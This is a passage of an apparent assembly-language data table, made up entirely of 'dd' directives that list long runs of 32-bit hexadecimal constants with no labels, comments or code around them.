0E6016B82h, 0C8806C82h dd 0A026C82h, 2300B82h, 5016E82h, 7826F82h, 0B206F82h dd 7206F82h, 2017082h, 54017082h, 1807182h, 1407182h, 6C87282h dd 1017382h, 20F7382h, 8027482h, 2047682h, 0A017D82h, 5C87F82h dd 201C7F82h, 6100D82h, 1408282h, 1448282h, 0B308382h dd 0A018482h, 0B018482h, 9018482h, 39018582h, 0A508682h dd 76E8782h, 96E8782h, 6E018882h, 2408982h, 2190E82h, 80230E82h dd 5119582h, 0C029582h, 14049582h, 367E0F82h, 77E0F82h dd 64669682h, 14669682h, 0B8D9982h, 3C089982h, 1109B82h dd 28C09B82h, 20C29B82h, 8029B82h, 3029D82h, 5029D82h dd 15449E82h, 36479E82h, 7EC49F82h, 0BF89F82h, 1AF89F82h dd 9F89F82h, 7204A082h, 404A082h, 0C88FA182h, 1894A182h dd 0A710A182h, 3A0A182h, 0CEA4A182h, 1B4A182h, 41B4A182h dd 8CBCA182h, 1BDA182h, 0C5C4A182h, 1CCA182h, 7D8A182h dd 0CE4A182h, 2E5A182h, 80E8A182h, 46F2A182h, 1FDA182h dd 151CA182h, 1121A182h, 0FA22A182h, 1825A182h, 96A0A282h dd 97A0A282h, 201A382h, 0C801A382h, 0C8CA482h, 0F8CA482h dd 101A682h, 4601A682h, 6501A782h, 201A782h, 165A782h dd 4011182h, 32011182h, 8F10B382h, 4310B382h, 0C501282h dd 0D501282h, 660CB582h, 950CB582h, 179B682h, 1ABB682h dd 1501B782h, 2009B782h, 6707B882h, 5D07B882h, 7D59B982h dd 101BA82h, 3501BA82h, 101BB82h, 304BC82h, 404BC82h, 64F0BD82h dd 101BF82h, 0EE5BF82h, 1503C082h, 1803C082h, 0C3CC082h dd 6301C282h, 6307C282h, 0B02C382h, 0F902C382h, 0C05C382h dd 0A06C382h, 803C782h, 604C782h, 22801482h, 24141482h dd 24401482h, 0B541482h, 24541482h, 314CA82h, 514CA82h dd 401CB82h, 501CB82h, 610CB82h, 0A46CD82h, 201CE82h, 301CE82h dd 0F4F4CF82h, 0FBF4CF82h, 1004D182h, 1204D182h, 0A02D282h dd 0A20AD482h, 0A30AD482h, 118D782h, 101D882h, 401D882h dd 0C40D982h, 564DA82h, 6422DB82h, 0FD1E1682h, 201EDC82h dd 210DD82h, 410DD82h, 504DF82h, 1408DF82h, 360E182h, 401E282h dd 1C7E382h, 0A18E682h, 1F0E782h, 101E882h, 1601E882h dd 1E0E982h, 0DE0E982h, 101EA82h, 6480EB82h, 5A84EB82h dd 314EB82h, 901EC82h, 230EC82h, 0C848ED82h, 0C948ED82h dd 6A4EE82h, 8504EE82h, 0A07EE82h, 310EF82h, 0A08EF82h dd 101F082h, 213F082h, 296F182h, 519F182h, 0F01F582h, 1548F682h dd 0D08F682h, 401FB82h, 815FB82h, 0D01FD82h, 104FE82h dd 1B082182h, 29082182h, 6F0B2282h, 750B2282h, 0D1E2482h dd 0C83D2482h, 0C83E2482h, 4812582h, 6182582h, 47802782h dd 1EFE2782h, 5FE2782h, 5032782h, 0FB012982h, 0ED22C82h dd 2222F82h, 2173282h, 8013582h, 9013582h, 0D083682h, 11B3982h dd 1043982h, 0A443A82h, 1E013B82h, 1E0A3B82h, 3803C82h dd 33443C82h, 15A83F82h, 63ED3F82h, 8014082h, 8054082h dd 1784182h, 1194182h, 1034182h, 3214282h, 423C4382h, 19284682h dd 8804782h, 16C4982h, 4B014A82h, 4804A82h, 20014B82h dd 18F4E82h, 1C84F82h, 161D5082h, 1805282h, 2805282h, 3C165382h dd 3F165382h, 3C385382h, 8205482h, 0E085482h, 3015582h dd 4015582h, 5015582h, 2225782h, 6225782h, 2C05882h, 4C85882h dd 6C85882h, 2015982h, 2DC5982h, 34095C82h, 1805F82h, 2805F82h dd 28FE0A83h, 3CFE0A83h, 65016783h, 0B886883h, 0A146883h dd 14606883h, 29016A83h, 0F0016B83h, 641F6D83h, 0C8346E83h dd 0C9346E83h, 140C6F83h, 2A086F83h, 107D7083h, 47D7083h dd 1017183h, 0A157283h, 32737383h, 70F7383h, 1E017683h dd 1FE7683h, 81FE7683h, 5F57783h, 6F57783h, 34FE7883h dd 3AFE7883h, 1017983h, 2017983h, 1017B83h, 1017D83h, 6DC7E83h dd 7F018083h, 0B018283h, 0C018283h, 140A8383h, 83838383h dd 3F28883h, 4F28883h, 2FF8983h, 3608983h, 0C780E83h, 0B910E83h dd 0A049083h, 9049083h, 1029283h, 3009583h, 2019583h, 2880F83h dd 7019783h, 0F3FE9783h, 0B019A83h, 3019A83h, 1039A83h dd 3029B83h, 7029B83h, 0B019C83h, 27E9C83h, 7049E83h, 8049E83h dd 28329E83h, 41329E83h, 1009F83h, 51009F83h, 101A183h dd 102A183h, 2EE9A183h, 0F1F6A183h, 67FAA183h, 103A183h dd 0A3CA183h, 5A02A283h, 513FA583h, 533FA583h, 501A683h dd 201A783h, 2C8A983h, 1B11183h, 101AA83h, 0B0BAB83h, 202AC83h dd 1F5AD83h, 2F5AD83h, 4E0AE83h, 153CAE83h, 201AF83h, 401AF83h dd 21AB083h, 31AB083h, 101B283h, 2726B283h, 1080B383h dd 1E80B383h, 301B583h, 63FEB583h, 0C47B583h, 247B583h dd 0A61B583h, 101B783h, 2160B883h, 203BC83h, 2D2CBC83h dd 0EFA5BD83h, 0F11DBD83h, 28FEBF83h, 307BF83h, 0FE20C183h dd 0FE28C183h, 0B82C283h, 197C283h, 0BB1C983h, 301CA83h dd 403CA83h, 501CB83h, 1F8CB83h, 0D0ACC83h, 0A02CC83h dd 329CC83h, 0A02CE83h, 0B01CF83h, 1001D183h, 401D183h dd 0F01D283h, 2010D383h, 504D383h, 604D383h, 648BD783h dd 64FED783h, 63FED783h, 0B01D883h, 216D883h, 1301D983h dd 10AD983h, 0CB0EDC83h, 0DC10DC83h, 8A12DC83h, 1401E083h dd 0C02E083h, 9611E183h, 7808E183h, 0C64E383h, 666E383h dd 5B66E383h, 1314E483h, 1414E483h, 240E583h, 1FCE683h dd 2FCE683h, 1010E783h, 710E783h, 20AE883h, 316EA83h, 1E16EA83h dd 1101EC83h, 201EC83h, 0A54BEE83h, 0A771883h, 50FF183h dd 240F383h, 340F383h, 101F483h, 10EF483h, 3289F683h, 7409F683h dd 2801F783h, 164F783h, 13AF883h, 201F983h, 0E40FA83h dd 240FA83h, 0A00FB83h, 400FB83h, 3581FC83h, 26D0FC83h dd 2FEFE83h, 8006FE83h, 4800383h, 7E01E83h, 2F62083h, 28A2383h dd 20742483h, 3B742483h, 2CE2583h, 19CE2583h, 2D62683h dd 6D62683h, 2F82783h, 6F82783h, 5792C83h, 33292E83h, 36292E83h dd 1E642F83h, 3F03083h, 3973283h, 5973283h, 5803383h, 2793483h dd 4793483h, 3803583h, 35803583h, 1793683h, 0B793683h dd 14793683h, 0B793783h, 2793783h, 0FAD03A83h, 0AC83B83h dd 3C83B83h, 2540683h, 3540683h, 45540683h, 0BD33D83h dd 2D33D83h, 1323F83h, 2323F83h, 4044083h, 1084083h, 2014283h dd 1034483h, 3340783h, 9340783h, 67A04A83h, 68A04A83h dd 0FD3C4D83h, 0FD3D4D83h, 0C015083h, 8015083h, 1015183h dd 29015483h, 2A015483h, 0A805983h, 1005D83h, 2805E83h dd 2545F83h, 2CF0184h, 3CF0184h, 0FFA0A84h, 3FA0A84h, 1899284h dd 1059284h, 2809384h, 1409384h, 0D3509484h, 2E10F84h dd 0D2E10F84h, 0D3E10F84h, 1089684h, 1019784h, 13019784h dd 2039984h, 1249C84h, 0E249C84h, 3319E84h, 24529E84h dd 0A731084h, 3C0AA184h, 0F320A284h, 904A384h, 6C0A684h dd 7C0A684h, 0B94A884h, 180A984h, 0FF0AA84h, 0FF9AA84h dd 0FC0BAE84h, 0FD0BAE84h, 301AF84h, 6F9AF84h, 1772B084h dd 1872B084h, 1441B084h, 1F64B184h, 2065B184h, 3880B184h dd 6380B184h, 310B284h, 127B384h, 2801284h, 32801284h dd 40FB484h, 50FB484h, 2602B584h, 2702B584h, 0B01B784h dd 1584B984h, 101BB84h, 301BB84h, 0A4CBD84h, 324B1384h dd 0F5CBE84h, 0B01C084h, 0D01C084h, 30AC284h, 0D14C384h dd 314C384h, 1F07C384h, 0AF8C584h, 9F8C584h, 5AF8C584h dd 0AC9C684h, 0ACAC684h, 0A301C784h, 201C784h, 0CFB1484h dd 2FB1484h, 2220C884h, 0AFACB84h, 6602CC84h, 6702CC84h dd 1602CC84h, 101CD84h, 3307CD84h, 0B01CE84h, 152CCE84h dd 290CF84h, 1FAD084h, 102D184h, 105D184h, 20DD284h, 0A01D384h dd 490BD484h, 90BD484h, 1B01D584h, 6301D684h, 0F30D784h dd 0C01DA84h, 0E6FE1684h, 0E8FE1684h, 8224DD84h, 0C78DE84h dd 0D78DE84h, 104DF84h, 0A05E184h, 2005E184h, 1410E284h dd 23CE384h, 1E3CE384h, 0D40E384h, 216E584h, 608E584h dd 22C01784h, 23C01784h, 0C8C8E684h, 1E01E784h, 6414E784h dd 433E784h, 0AF7E984h, 0BF7E984h, 101EA84h, 1FFAEA84h dd 140EB84h, 240EB84h, 2A01ED84h, 5102ED84h, 3401EF84h dd 57E1884h, 77E1884h, 0A8CF184h, 0B8CF184h, 0A06F184h dd 642F184h, 150F184h, 0A50F184h, 721F584h, 64A1F684h dd 0C8A1F684h, 20AF884h, 1CCF884h, 0FAEDF884h, 0FA40F884h dd 1914F984h, 1928F984h, 0D3581984h, 0C6CFA84h, 836CFA84h dd 0C6EFA84h, 0C74FA84h, 701FC84h, 0A03FC84h, 0B01FE84h dd 1C71E84h, 37C71E84h, 5C92084h, 6C92084h, 6842184h, 1F82284h dd 0BC32384h, 0DC32384h, 3BE2684h, 4BE2684h, 2792884h dd 4792884h, 2782984h, 2802A84h, 6C02D84h, 1742E84h, 0B742E84h dd 3802F84h, 2F13084h, 3F13084h, 1DD3184h, 1EDD3184h, 0A480584h dd 3A33384h, 0A9A3484h, 149A3484h, 3823784h, 0C783884h dd 0D783884h, 13DE3A84h, 14DE3A84h, 5F03C84h, 7F03C84h dd 8F03C84h, 8B03D84h, 5F583E84h, 8104184h, 64094684h dd 18094684h, 2D8C4884h, 2E8C4884h, 3014A84h, 5014A84h dd 1B3F4C84h, 37404C84h, 34504C84h, 0E790884h, 0A0D5084h dd 0B025084h, 0FAC85084h, 0F7F0984h, 0C4680185h, 5690185h dd 60B0185h, 10700185h, 0A730185h, 1740185h, 5750185h dd 1770185h, 1780185h, 2780185h, 3780185h, 5790185h, 327A0185h dd 27C0185h, 37C0185h, 57C0185h, 177E0185h, 1800185h, 0F1830185h dd 46840185h, 5850185h, 0F0860185h, 10870185h, 0A880185h dd 1E880185h, 18A0185h, 0D38B0185h, 38E0185h, 82900185h dd 5910185h, 0FA920185h, 0FA940185h, 2960185h, 3960185h dd 5960185h, 99B0185h, 5A9B0185h, 29C0185h, 0A9E0185h dd 0B9F0185h, 5A00185h, 80110185h, 3110185h, 5110185h dd 6110185h, 2AB0185h, 0FAAB0185h, 0FAAC0185h, 0DB20185h dd 28B40185h, 1B50185h, 3BA0185h, 0BBB0185h, 4C00185h dd 0AC20185h, 3C40185h, 3C60185h, 65020185h, 0ACA0185h dd 0BCE0185h, 2CF0185h, 2D50185h, 14D60185h, 7DD70185h dd 3DE0185h, 7E10185h, 5E40185h, 3170185h, 5170185h, 0AED0185h dd 2180185h, 3180185h, 17F00185h, 19F00185h, 8F20185h dd 10F30185h, 13F30185h, 0BEF60185h, 0BFC0185h, 0CFC0185h dd 5FD0185h, 0C1B0185h, 21C0185h, 21D0185h, 5030185h, 56200185h dd 10240185h, 3270185h, 1280185h, 3280185h, 1E2B0185h dd 92C0185h, 0F2E0185h, 0FA300185h, 9340185h, 1360185h dd 2360185h, 1380185h, 5390185h, 0CA3C0185h, 0FC3C0185h dd 3B3C0185h, 0C3D0185h, 1A440185h, 5070185h, 14D0185h dd 44D0185h, 0A500185h, 14500185h, 0C510185h, 1520185h dd 36540185h, 1580185h, 295B0185h, 0F75C0185h, 15E0185h dd 25E0185h, 1600185h, 4600185h, 0C050A85h, 0B060A85h dd 0AF06485h, 0BF06485h, 1A326585h, 19606585h, 1E0C6685h dd 0ACC6685h, 14C6785h, 3016885h, 30B6985h, 1036A85h, 84046D85h dd 6F0B0B85h, 2D7B0B85h, 0A47C0B85h, 1C86F85h, 11E0C85h dd 21E0C85h, 0E057985h, 9017D85h, 0FE037E85h, 82407F85h dd 2070D85h, 5070D85h, 3048985h, 1018A85h, 1020E85h, 3E09185h dd 6E49185h, 3309485h, 1800F85h, 9400F85h, 82009885h, 0B169985h dd 13169985h, 1FC9E85h, 32071085h, 140A385h, 240A385h dd 1FEA485h, 2FEA485h, 30AA985h, 0E02AA85h, 3C46AD85h dd 1DCB085h, 1501285h, 0AA4B485h, 601BA85h, 101BB85h, 41EBC85h dd 11EBD85h, 0F31EBD85h, 17E1385h, 42B5C085h, 43E2C285h dd 62E5C285h, 0A02C385h, 1402C385h, 35A0285h, 65A0285h dd 75A0285h, 1101485h, 8110CD85h, 8610CD85h, 8D10CD85h dd 8140CD85h, 8740CD85h, 5BE1585h, 10BD585h, 649BD885h dd 0F5F1D985h, 2FDDC85h, 0FD01DD85h, 788E285h, 17C41785h dd 0C9F61785h, 1D01E885h, 80FEE885h, 180EB85h, 230EC85h dd 201ED85h, 0C02EE85h, 1141885h, 1E481885h, 264F085h dd 108F285h, 103F385h, 203F385h, 270F585h, 0D01F985h, 0AFC1985h dd 0E7FEFA85h, 0CA66FD85h, 0A05FE85h, 305FE85h, 28881A85h dd 79041B85h, 0C141C85h, 1B011D85h, 0F8651D85h, 2050385h dd 2081E85h, 81E1F85h, 91E1F85h, 1C92085h, 0A1012185h dd 0B942185h, 0F11C2285h, 0F51C2285h, 1872385h, 5112385h dd 6112385h, 1012485h, 1F02585h, 78F02585h, 83F02585h dd 70382585h, 79382585h, 17DD2685h, 18DD2685h, 5032785h dd 0A052785h, 1062885h, 4062885h, 3302A85h, 9302A85h, 3AA22B85h dd 17FF2B85h, 3622B85h, 64012C85h, 66012C85h, 5402D85h dd 0D082D85h, 10F2E85h, 20F2E85h, 2C02F85h, 64983085h dd 64B63085h, 1203085h, 5203085h, 2483085h, 1043185h, 16043185h dd 6010585h, 690A0585h, 1060585h, 40C3385h, 50C3385h, 3D0A3485h dd 3E0A3485h, 1F93585h, 2F93585h, 6BC3685h, 0BF03685h dd 2023785h, 0C0B3885h, 5013985h, 14143985h, 0C013A85h dd 9010685h, 1840685h, 650E3C85h, 0EF03C85h, 20803E85h dd 21803E85h, 2143F85h, 0A024085h, 9024085h, 0A104185h dd 6104185h, 0D014285h, 1014385h, 0C0154485h, 4824585h dd 64010785h, 0FE804685h, 0FD284685h, 1F024785h, 4014885h dd 16BF4885h, 2FE4985h, 4FE4985h, 3C024A85h, 1F24B85h dd 0F7F24B85h, 0A114D85h, 1DB4E85h, 2DB4E85h, 0C2210885h dd 640B5085h, 5805085h, 19D5185h, 6A15185h, 400F5285h dd 0AFE5285h, 1015385h, 4025385h, 1045385h, 4045385h, 2645585h dd 6135685h, 0B015785h, 0A805785h, 2E85885h, 1035985h dd 3010985h, 4010985h, 8875B85h, 8285B85h, 11065C85h, 12065C85h dd 3015E85h, 4015E85h, 7015F85h, 30A5F85h, 1686085h, 3686085h dd 5016185h, 2106285h, 2A26385h, 10D0186h, 0FB020186h dd 3D096486h, 1106586h, 641C6586h, 6B1C6586h, 14146686h dd 2206786h, 16206786h, 5F1E6886h, 9136986h, 3286A86h dd 0B4026B86h, 1386C86h, 33846D86h, 37846D86h, 0B126E86h dd 5286E86h, 0E126F86h, 9126F86h, 38A7286h, 0FFE7286h dd 4607286h, 21047386h, 22047386h, 21087386h, 1017586h dd 0B017586h, 1010C86h, 2037886h, 1E827986h, 1867986h dd 1107986h, 36027986h, 112D7986h, 1407986h, 2407986h dd 14027A86h, 0D0F7C86h, 880F7C86h, 1467D86h, 0B0A7E86h dd 1E0A7E86h, 6F6F8186h, 1DC98186h, 2018486h, 19C88586h dd 1AC88586h, 3F88686h, 2018B86h, 3708C86h, 12009286h dd 4099286h, 4DE9386h, 28209386h, 1189486h, 3189486h, 0C4F9786h dd 0F4F9786h, 64B49886h, 17029986h, 5A029986h, 5019A86h dd 34329B86h, 1649C86h, 81009D86h, 18089D86h, 68459E86h dd 0BF459E86h, 421A086h, 504A086h, 0B01A186h, 2001A186h dd 1FDA386h, 0AFDA386h, 120A986h, 6B09A986h, 17FEAD86h dd 502B086h, 702B086h, 6308B286h, 1670B386h, 3EFB486h dd 331B486h, 180B586h, 380B586h, 0D0FB886h, 7FAB886h, 0FCFEBA86h dd 0FD04BA86h, 201BC86h, 501C086h, 1A40C086h, 201C186h dd 401C186h, 453C186h, 105C586h, 106C586h, 0A0AC686h, 1C80286h dd 0A0CC986h, 0B0CC986h, 7801CA86h, 947BCD86h, 683CD86h dd 0F01CE86h, 401CE86h, 120ACE86h, 0A00ACF86h, 440ACF86h dd 1F011586h, 320E1586h, 1101D286h, 204D286h, 2BED486h dd 3BED486h, 0F564D686h, 664D686h, 11AD886h, 6CC8DB86h dd 342CDB86h, 1401DC86h, 2701DC86h, 1AC0DC86h, 201DD86h dd 0A7ADD86h, 27CDD86h, 182DD86h, 28CDD86h, 0C6A0DD86h dd 2ABDD86h, 2B0DD86h, 202DD86h, 802DD86h, 1F9DD86h, 23ADD86h dd 343DD86h, 2150DD86h, 455BDD86h, 1D01E086h, 2301E086h dd 0B20E186h, 0C20E186h, 7201E286h, 1801E286h, 1C01E286h dd 0B51E286h, 1604E786h, 2104E786h, 32FAED86h, 254EF86h dd 301F186h, 1A0BF186h, 375F186h, 186F186h, 0F78CF186h dd 0FC9FF186h, 1ACF186h, 3C0F186h, 115F186h, 6DDDF186h dd 717F186h, 119F186h, 1FBF186h, 11FF186h, 272BF186h, 534F186h dd 3E37F186h, 0C85CF186h, 932F386h, 0B40F486h, 201F586h dd 2401F586h, 70AF586h, 19BF686h, 1A6F686h, 1404F786h dd 302FA86h, 602FA86h, 100AFC86h, 4EFFC86h, 0ECA1C86h dd 0ECD1C86h, 180F1E86h, 13051E86h, 0A1A2086h, 2032286h dd 3032286h, 1022386h, 3C022486h, 76022786h, 0A0A0486h dd 0B6D2F86h, 0C6D2F86h, 1F013086h, 20013086h, 1403186h dd 5FE3286h, 1FD3586h, 82063786h, 65033886h, 66033886h dd 37E3A86h, 17F3A86h, 99383A86h, 1013B86h, 7013B86h, 34C0686h dd 6F013C86h, 10A3C86h, 15423C86h, 83024186h, 84024186h dd 0AD04386h, 5D04386h, 2014486h, 9014486h, 7C460786h dd 64024686h, 64044786h, 64054786h, 7804A86h, 2C04A86h dd 6C04A86h, 27A4B86h, 2E24B86h, 11E4B86h, 96604B86h, 2E0A4C86h dd 2624C86h, 0A104F86h, 9104F86h, 0FD075286h, 16C5386h dd 3E805386h, 31E5386h, 54545486h, 1705786h, 1015886h dd 0B045B86h, 3045B86h, 7905D86h, 2505E86h, 0D0645F86h dd 0D1645F86h, 14FC6086h, 1FE6086h, 7076086h, 5806386h dd 0B03C587h, 43FFCE87h, 23FCE87h, 1185A87h, 1195A87h dd 14010188h, 0C028D88h, 0D028D88h, 7028D88h, 8028D88h dd 0A0F8E88h, 49BC8E88h, 0A398E88h, 54F8E88h, 0B958F88h dd 4019188h, 1019488h, 0A019488h, 2029988h, 5029988h, 0EC069A88h dd 15019F88h, 1029F88h, 0C9229F88h, 3D4A388h, 0BD8A488h dd 0F21A488h, 0AFDA588h, 59FDA588h, 0B002A788h, 902A788h dd 832AA88h, 932AA88h, 0F064AC88h, 0ABBAE88h, 428B088h dd 705B088h, 310B188h, 10A0B388h, 2201B688h, 6F01BA88h dd 7301BA88h, 914BA88h, 6508C788h, 14010288h, 696C888h dd 640C888h, 654C888h, 1701C988h, 301C988h, 169C988h, 369C988h dd 16AC988h, 318C988h, 301CE88h, 101E088h, 1620E088h, 30EEB88h dd 6E3CED88h, 20AF288h, 1201F488h, 601F488h, 0C0AF788h dd 0AD40189h, 1FD6489h, 4016789h, 1806889h, 96806C89h dd 28F6C89h, 38F6C89h, 0B016F89h, 0C016F89h, 0C4047089h dd 65C07189h, 1C017689h, 1D017689h, 1E017689h, 1F017689h dd 1017889h, 5017889h, 1017989h, 2017989h, 1787989h, 20D7989h dd 19D7989h, 19E7989h, 19F7989h, 1A27989h, 5167989h, 1E3D7989h dd 1517989h, 0A067A89h, 4018189h, 3968189h, 0AC88389h dd 9C88389h, 47B8489h, 2058489h, 22F8689h, 0FE0B8B89h dd 64018C89h, 66018C89h, 6A018C89h, 1018D89h, 2018D89h dd 3018D89h, 1008E89h, 63128E89h, 0ACC9189h, 2ED29289h dd 0B319489h, 19059489h, 1039589h, 4F50F89h, 1409689h dd 1019789h, 2019789h, 14109A89h, 0D20C9B89h, 0D80C9B89h dd 0DB0D9D89h, 0CD2D9D89h, 0D13A9D89h, 1809E89h, 1089F89h dd 650F1089h, 680F1089h, 204A589h, 208A589h, 110A689h dd 5512A989h, 0FE13A989h, 0C8501189h, 9D3AC89h, 68F8AC89h dd 290AE89h, 0B80BA89h, 106BD89h, 1506BD89h, 201BE89h dd 402C089h, 3F0C089h, 5F0C089h, 150AC189h, 80BC189h, 1A0C289h dd 3A0C289h, 5420C289h, 6997C389h, 12F0C989h, 13F0C989h dd 105CB89h, 0F01CC89h, 0BC0CD89h, 6C0CD89h, 2A03D089h dd 0F011589h, 0D6C3D589h, 0FCFCD589h, 0D628D589h, 150D689h dd 1065D789h, 1550D889h, 64B0D989h, 0D74DB89h, 0E10DB89h dd 0D011689h, 601DC89h, 240ADE89h, 270ADE89h, 650AE089h dd 481E089h, 3FAE189h, 1570E289h, 390E289h, 0A5AE489h dd 0B5AE489h, 270AE589h, 290CE589h, 0B04EC89h, 704EC89h dd 301EE89h, 62801889h, 0FDF0F089h, 2F9F089h, 0BFAF189h dd 15FAF189h, 0C701F289h, 2D7F489h, 0C8D7F489h, 3D7F489h dd 501F889h, 801F889h, 1615F889h, 0FE01FA89h, 46FFA89h dd 224FB89h, 324FB89h, 0B09FC89h, 11011C89h, 12011C89h dd 237A0389h, 0FE011E89h, 6011E89h, 11FE2189h, 3012789h dd 1BA0489h, 12BA0489h, 13BA0489h, 0D012B89h, 14012C89h dd 1B012C89h, 2E012C89h, 84802D89h, 64202D89h, 64013089h dd 1643089h, 870A0589h, 0F70A0589h, 4043289h, 0BE03489h dd 0BE83489h, 28013589h, 5CB3589h, 1B003889h, 28003889h dd 5ED3D89h, 1014189h, 1104289h, 1014589h, 1654589h, 0C2D4589h dd 1354589h, 5024989h, 0B5014B89h, 0B6014B89h, 0A064C89h dd 7015189h, 1015289h, 31C5289h, 13790989h, 2790989h, 1725B89h dd 1015C89h, 8F055E89h, 6FBF5F89h, 70BF5F89h, 400F6389h dd 0E196389h, 404648Ah, 804648Ah, 0D580658Ah, 0DF80658Ah dd 5BBE658Ah, 3C2658Ah, 11C6658Ah, 0CC7658Ah, 33CE658Ah dd 11D8658Ah, 1B0688Ah, 64646A8Ah, 640A6B8Ah, 1016E8Ah dd 0C8016E8Ah, 0A00708Ah, 304718Ah, 205748Ah, 650C7B8Ah dd 0F1447B8Ah, 0F0547B8Ah, 6FE818Ah, 8FE818Ah, 3FD40D8Ah dd 40D40D8Ah, 1991838Ah, 1A91838Ah, 335848Ah, 511858Ah dd 711858Ah, 0BA65868Ah, 4202868Ah, 1EC8868Ah, 6E198B8Ah dd 6F198B8Ah, 6E238B8Ah, 6F238B8Ah, 5048B8Ah, 1EA0E8Ah dd 3C688D8Ah, 3D688D8Ah, 3F8908Ah, 302918Ah, 303918Ah dd 0A0A938Ah, 1C80F8Ah, 0A80A48Ah, 0F80A48Ah, 0E02A98Ah dd 1A08B28Ah, 42BEB48Ah, 43BEB48Ah, 415B58Ah, 515B58Ah dd 225FB78Ah, 227FB88Ah, 4778BD8Ah, 4878BD8Ah, 0C01BE8Ah dd 0CA01BE8Ah, 0C14C08Ah, 0A0AC28Ah, 802C28Ah, 21EC28Ah dd 321C38Ah, 2564C68Ah, 110C78Ah, 0AC0CA8Ah, 351D28Ah dd 1B81168Ah, 0C8C8DD8Ah, 61C8DD8Ah, 63C8DD8Ah, 0C32DD8Ah dd 7B98DE8Ah, 0D592178Ah, 64E2178Ah, 891DE68Ah, 26EE78Ah dd 4B0E78Ah, 401E88Ah, 501E88Ah, 3204EA8Ah, 1280EC8Ah dd 380ED8Ah, 780ED8Ah, 169CEE8Ah, 170EF8Ah, 770EF8Ah, 201188Ah dd 2201188Ah, 6410F58Ah, 0C20F78Ah, 110198Ah, 810198Ah dd 4301FA8Ah, 4B01FA8Ah, 442FB8Ah, 21FFD8Ah, 31FFD8Ah dd 2011A8Ah, 2011C8Ah, 0A011D8Ah, 106258Ah, 107258Ah, 320268Ah dd 0A07278Ah, 307278Ah, 10B288Ah, 25C288Ah, 1482C8Ah, 3122F8Ah dd 0A04308Ah, 404308Ah, 0EA80318Ah, 2A0068Ah, 0FC83F8Ah dd 37C83F8Ah, 114408Ah, 204408Ah, 501428Ah, 5C8428Ah, 201438Ah dd 301438Ah, 1B0A468Ah, 140A488Ah, 1C1E488Ah, 0FD01498Ah dd 0C004A8Ah, 0D004A8Ah, 70A4B8Ah, 1014D8Ah, 17014D8Ah dd 6054D8Ah, 2014E8Ah, 0A804F8Ah, 380508Ah, 0A03568Ah dd 303568Ah, 16E578Ah, 104578Ah, 101098Ah, 5B015A8Ah, 22C018Bh dd 302678Bh, 502678Bh, 0A0A0B8Bh, 201758Bh, 401758Bh, 1108758Bh dd 6810798Bh, 2017C8Bh, 7B087F8Bh, 7C087F8Bh, 212808Bh dd 84390D8Bh, 504828Bh, 2664838Bh, 401848Bh, 1807858Bh dd 1C07858Bh, 1202868Bh, 202868Bh, 104898Bh, 304898Bh dd 63010E8Bh, 1018C8Bh, 210E8C8Bh, 1018D8Bh, 4838D8Bh dd 3C78D8Bh, 4C78D8Bh, 63E58D8Bh, 7E048D8Bh, 7D058D8Bh dd 2028E8Bh, 3028E8Bh, 1058F8Bh, 2058F8Bh, 801908Bh, 2A2A928Bh dd 101988Bh, 764998Bh, 0C80D998Bh, 1E12A38Bh, 3353A38Bh dd 3319A58Bh, 0D20A58Bh, 1406A58Bh, 0A60A58Bh, 2A0A98Bh dd 201118Bh, 701118Bh, 0A80118Bh, 502AE8Bh, 602AE8Bh, 140AAF8Bh dd 1496AF8Bh, 10FCAF8Bh, 0F437AF8Bh, 4FE0B18Bh, 50E0B18Bh dd 0D0AB38Bh, 201128Bh, 319128Bh, 2AAB48Bh, 3AAB48Bh, 2203B58Bh dd 1906B58Bh, 102B68Bh, 602B68Bh, 0C0EB88Bh, 1B20B88Bh dd 322AB88Bh, 101138Bh, 9201BF8Bh, 140148Bh, 240148Bh dd 501DE8Bh, 182DE8Bh, 8802DF8Bh, 1002DF8Bh, 280E18Bh dd 580E68Bh, 0B3C1C8Bh, 13F038Bh, 7081E8Bh, 8081E8Bh, 35302F8Bh dd 64D8308Bh, 63D8308Bh, 1BF338Bh, 109338Bh, 210398Bh dd 0A20398Bh, 0AE63A8Bh, 18013B8Bh, 201068Bh, 4201068Bh dd 2D23C8Bh, 0C6C83E8Bh, 0C7C83E8Bh, 5C03F8Bh, 308438Bh dd 76D458Bh, 7D1E078Bh, 7E1E078Bh, 6F02468Bh, 1CBE488Bh dd 404498Bh, 1014B8Bh, 2014B8Bh, 6404C8Bh, 7404C8Bh, 1644E8Bh dd 1C84E8Bh, 36A4F8Bh, 140508Bh, 201528Bh, 310528Bh, 0D20A548Bh dd 1015B8Bh, 3BF5B8Bh, 3815D8Bh, 4815D8Bh, 1FB5F8Bh, 102668Ch dd 31D678Ch, 101688Ch, 6406698Ch, 0B346B8Ch, 0B586B8Ch dd 0B5C6B8Ch, 0A016D8Ch, 1106E8Ch, 1046E8Ch, 13C6E8Ch dd 2016F8Ch, 14016F8Ch, 15F6F8Ch, 2FE708Ch, 4FE708Ch, 101718Ch dd 0A40728Ch, 157728Ch, 1F01738Ch, 631F768Ch, 6E01778Ch dd 201788Ch, 1501788Ch, 9417A8Ch, 5027B8Ch, 20D7C8Ch, 2017F8Ch dd 0B51828Ch, 0C901848Ch, 0C903848Ch, 104868Ch, 0F12878Ch dd 0FBF7888Ch, 0FCF7888Ch, 801898Ch, 64028A8Ch, 64048A8Ch dd 33A8C8Ch, 2028D8Ch, 0D058E8Ch, 5058E8Ch, 14CC908Ch dd 2880928Ch, 0C02938Ch, 0FA05948Ch, 107948Ch, 0AC07948Ch dd 0C5D968Ch, 2C2B998Ch, 0B6409D8Ch, 0C7409E8Ch, 0C8409E8Ch dd 0C1E9F8Ch, 1419F8Ch, 0CF0A08Ch, 0DF2A08Ch, 202A18Ch dd 802A18Ch, 0FE09A38Ch, 101A48Ch, 201A48Ch, 6302A58Ch dd 1401A98Ch, 0F24A98Ch, 90AAC8Ch, 0AFEAC8Ch, 206AC8Ch dd 144DAE8Ch, 0BD6AF8Ch, 0CD6AF8Ch, 0DD6AF8Ch, 15D6AF8Ch dd 0C0AB18Ch, 2521B28Ch, 2621B28Ch, 0FEB0B38Ch, 0B60B58Ch dd 7E53B78Ch, 101B88Ch, 2D1CB98Ch, 2E1CB98Ch, 0E01BA8Ch dd 401BA8Ch, 9940BC8Ch, 440BC8Ch, 280BE8Ch, 3201C08Ch dd 0FA08C08Ch, 101C38Ch, 6901C38Ch, 0F08C68Ch, 0BA07CB8Ch dd 109CB8Ch, 901D08Ch, 501D18Ch, 140AD38Ch, 101DC8Ch, 609DD8Ch dd 10AE48Ch, 4C05E68Ch, 501E88Ch, 401E98Ch, 0CC02E98Ch dd 101EA8Ch, 0A3EED8Ch, 